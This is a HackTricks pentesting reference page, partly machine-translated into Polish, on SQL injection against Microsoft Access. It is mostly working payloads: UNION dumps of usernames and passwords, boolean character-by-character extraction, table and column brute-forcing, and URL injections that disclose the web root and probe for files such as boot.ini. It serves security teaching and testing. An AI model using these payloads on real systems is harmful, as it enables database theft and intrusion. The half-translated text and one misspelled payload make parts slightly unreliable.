mirror of
https://github.com/carlospolop/hacktricks
synced 2025-01-12 21:28:55 +00:00
195 lines
9.9 KiB
Markdown
195 lines
9.9 KiB
Markdown
|
# MS Access SQL Injection
|
||
|
|
||
|
{% hint style="success" %}
|
||
|
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
|
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary>Wsparcie dla HackTricks</summary>
|
||
|
|
||
|
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
|
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||
|
|
||
|
</details>
|
||
|
{% endhint %}
|
||
|
|
||
|
## Online Playground
|
||
|
|
||
|
* [https://www.w3schools.com/sql/trysql.asp?filename=trysql\_func\_ms\_format\&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql\_func\_ms\_format\&ss=-1)
|
||
|
|
||
|
## Ograniczenia DB
|
||
|
|
||
|
### Konkatenacja ciągów
|
||
|
|
||
|
Konkatenacja ciągów jest możliwa za pomocą znaków `& (%26)` i `+ (%2b)`.
|
||
|
```sql
|
||
|
1' UNION SELECT 'web' %2b 'app' FROM table%00
|
||
|
1' UNION SELECT 'web' %26 'app' FROM table%00
|
||
|
```
|
||
|
### Komentarze
|
||
|
|
||
|
Nie ma komentarzy w MS Access, ale najwyraźniej możliwe jest usunięcie ostatniego elementu zapytania za pomocą znaku NULL:
|
||
|
```sql
|
||
|
1' union select 1,2 from table%00
|
||
|
```
|
||
|
Jeśli to nie działa, zawsze możesz poprawić składnię zapytania:
|
||
|
```sql
|
||
|
1' UNION SELECT 1,2 FROM table WHERE ''='
|
||
|
```
|
||
|
### Stacked Queries
|
||
|
|
||
|
Nie są obsługiwane.
|
||
|
|
||
|
### LIMIT
|
||
|
|
||
|
Operator **`LIMIT`** **nie jest zaimplementowany**. Możliwe jest jednak ograniczenie wyników zapytania SELECT do **pierwszych N wierszy tabeli za pomocą operatora `TOP`**. `TOP` przyjmuje jako argument liczbę całkowitą, reprezentującą liczbę wierszy do zwrócenia.
|
||
|
```sql
|
||
|
1' UNION SELECT TOP 3 attr FROM table%00
|
||
|
```
|
||
|
Just like TOP you can use **`LAST`** which will get the **wiersze z końca**.
|
||
|
|
||
|
## UNION Queries/Sub queries
|
||
|
|
||
|
In a SQLi you usually will want to somehow execute a new query to extract information from other tables. MS Access always requires that in **podzapytaniach lub dodatkowych zapytaniach wskazany jest `FROM`**.\
|
||
|
So, if you want to execute a `UNION SELECT` or `UNION ALL SELECT` or a `SELECT` between parenthesis in a condition, you always **musisz wskazać `FROM` z ważną nazwą tabeli**.\
|
||
|
Therefore, you need to know a **ważną nazwę tabeli**.
|
||
|
```sql
|
||
|
-1' UNION SELECT username,password from users%00
|
||
|
```
|
||
|
### Chaining equals + Substring
|
||
|
|
||
|
{% hint style="warning" %}
|
||
|
To pozwoli Ci na wyeksfiltrowanie wartości z bieżącej tabeli bez potrzeby znajomości jej nazwy.
|
||
|
{% endhint %}
|
||
|
|
||
|
**MS Access** pozwala na **dziwną składnię** taką jak **`'1'=2='3'='asd'=false`**. Jak zwykle, SQL injection będzie w klauzuli **`WHERE`**, co możemy wykorzystać.
|
||
|
|
||
|
Wyobraź sobie, że masz SQLi w bazie danych MS Access i wiesz (lub zgadłeś), że jedna **nazwa kolumny to username**, a to jest pole, które chcesz **wyeksfiltrować**. Możesz sprawdzić różne odpowiedzi aplikacji webowej, gdy używana jest technika chaining equals i potencjalnie wyeksfiltrować zawartość za pomocą **boolean injection** używając funkcji **`Mid`** do uzyskania podciągów.
|
||
|
```sql
|
||
|
'=(Mid(username,1,3)='adm')='
|
||
|
```
|
||
|
Jeśli znasz **nazwę tabeli** i **kolumny**, które chcesz zrzucić, możesz użyć kombinacji `Mid`, `LAST` i `TOP`, aby **wyciekło wszystkie informacje** za pomocą boolean SQLi:
|
||
|
```sql
|
||
|
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
|
||
|
```
|
||
|
_Feel free to check this in the online playground._
|
||
|
|
||
|
### Brute-forcing Tables names
|
||
|
|
||
|
Używając techniki łańcuchowego równości, możesz również **bruteforce'ować nazwy tabel** za pomocą czegoś takiego:
|
||
|
```sql
|
||
|
'=(select+top+1+'lala'+from+<table_name>)='
|
||
|
```
|
||
|
Możesz również użyć bardziej tradycyjnego sposobu:
|
||
|
```sql
|
||
|
-1' AND (SELECT TOP 1 <table_name>)%00
|
||
|
```
|
||
|
_Feel free to check this in the online playground._
|
||
|
|
||
|
* Nazwy wspólnych tabel Sqlmap: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
|
||
|
* Istnieje inna lista w [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
|
||
|
|
||
|
### Brute-Forcing Nazwy kolumn
|
||
|
|
||
|
Możesz **brute-forcować aktualne nazwy kolumn** za pomocą sztuczki z łańcuchowymi równaniami:
|
||
|
```sql
|
||
|
'=column_name='
|
||
|
```
|
||
|
Lub z **group by**:
|
||
|
```sql
|
||
|
-1' GROUP BY column_name%00
|
||
|
```
|
||
|
Lub możesz przeprowadzić atak brute-force na nazwy kolumn **innej tabeli** za pomocą:
|
||
|
```sql
|
||
|
'=(SELECT TOP 1 column_name FROM valid_table_name)='
|
||
|
|
||
|
-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00
|
||
|
```
|
||
|
### Dumping data
|
||
|
|
||
|
Już omówiliśmy [**technikę łączenia równań**](ms-access-sql-injection.md#chaining-equals-+-substring) **w celu zrzutu danych z bieżącej i innych tabel**. Ale są też inne sposoby:
|
||
|
```sql
|
||
|
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
|
||
|
```
|
||
|
W skrócie, zapytanie używa instrukcji „if-then”, aby wywołać „200 OK” w przypadku sukcesu lub „500 Internal Error” w przeciwnym razie. Wykorzystując operator TOP 10, możliwe jest wybranie pierwszych dziesięciu wyników. Następne użycie LAST pozwala uwzględnić tylko 10-tą krotkę. Na takiej wartości, używając operatora MID, można przeprowadzić prostą porównanie znaków. Odpowiednio zmieniając indeksy MID i TOP, możemy zrzucić zawartość pola „username” dla wszystkich wierszy.
|
||
|
|
||
|
### Czasowe
|
||
|
|
||
|
Sprawdź [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676\(v=technet.10\)?redirectedfrom=MSDN)
|
||
|
|
||
|
### Inne interesujące funkcje
|
||
|
|
||
|
* `Mid('admin',1,1)` pobiera podciąg z pozycji 1 o długości 1 (pozycja początkowa to 1)
|
||
|
* `LEN('1234')` pobiera długość ciągu
|
||
|
* `ASC('A')` pobiera wartość ascii znaku
|
||
|
* `CHR(65)` pobiera ciąg z wartości ascii
|
||
|
* `IIF(1=1,'a','b')` jeśli to wtedy
|
||
|
* `COUNT(*)` zlicza liczbę elementów
|
||
|
|
||
|
## Enumerowanie tabel
|
||
|
|
||
|
Z [**tutaj**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database) możesz zobaczyć zapytanie do uzyskania nazw tabel:
|
||
|
```sql
|
||
|
select MSysObjects.name
|
||
|
from MSysObjects
|
||
|
where
|
||
|
MSysObjects.type In (1,4,6)
|
||
|
and MSysObjects.name not like '~*'
|
||
|
and MSysObjects.name not like 'MSys*'
|
||
|
order by MSysObjects.name
|
||
|
```
|
||
|
Jednak należy zauważyć, że bardzo typowe jest znalezienie SQL Injection, gdzie **nie masz dostępu do odczytu tabeli `MSysObjects`**.
|
||
|
|
||
|
## Dostęp do systemu plików
|
||
|
|
||
|
### Pełna ścieżka katalogu głównego witryny
|
||
|
|
||
|
Znajomość **absolutnej ścieżki katalogu głównego witryny może ułatwić dalsze ataki**. Jeśli błędy aplikacji nie są całkowicie ukryte, ścieżka katalogu może zostać ujawniona, próbując wybrać dane z nieistniejącej bazy danych.
|
||
|
|
||
|
`http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
|
||
|
|
||
|
MS Access odpowiada **komunikatem o błędzie zawierającym pełną ścieżkę katalogu witryny**.
|
||
|
|
||
|
### Enumeracja plików
|
||
|
|
||
|
Następujący wektor ataku może być użyty do **wnioskowania o istnieniu pliku w zdalnym systemie plików**. Jeśli określony plik istnieje, MS Access wywołuje komunikat o błędzie informujący, że format bazy danych jest nieprawidłowy:
|
||
|
|
||
|
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
|
||
|
|
||
|
Inny sposób enumeracji plików polega na **określeniu elementu bazy danych.tabela**. **Jeśli** określony **plik istnieje**, MS Access wyświetla **komunikat o błędzie formatu bazy danych**.
|
||
|
|
||
|
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00`
|
||
|
|
||
|
### Zgadywanie nazwy pliku .mdb
|
||
|
|
||
|
**Nazwę pliku bazy danych (.mdb)** można wnioskować za pomocą następującego zapytania:
|
||
|
|
||
|
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
|
||
|
|
||
|
Gdzie **name\[i] to nazwa pliku .mdb** i **realTable to istniejąca tabela** w bazie danych. Chociaż MS Access zawsze wywoła komunikat o błędzie, możliwe jest odróżnienie nieprawidłowej nazwy pliku od prawidłowej nazwy pliku .mdb.
|
||
|
|
||
|
### Łamacza haseł .mdb
|
||
|
|
||
|
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) to darmowe narzędzie, które można wykorzystać do odzyskania głównego hasła bazy danych Microsoft Access 95/97/2000/XP lub Jet Database Engine 3.0/4.0.
|
||
|
|
||
|
## Odniesienia
|
||
|
|
||
|
* [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
|
||
|
|
||
|
{% hint style="success" %}
|
||
|
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
|
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary>Wsparcie HackTricks</summary>
|
||
|
|
||
|
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
|
* **Dziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||
|
|
||
|
</details>
|
||
|
{% endhint %}
|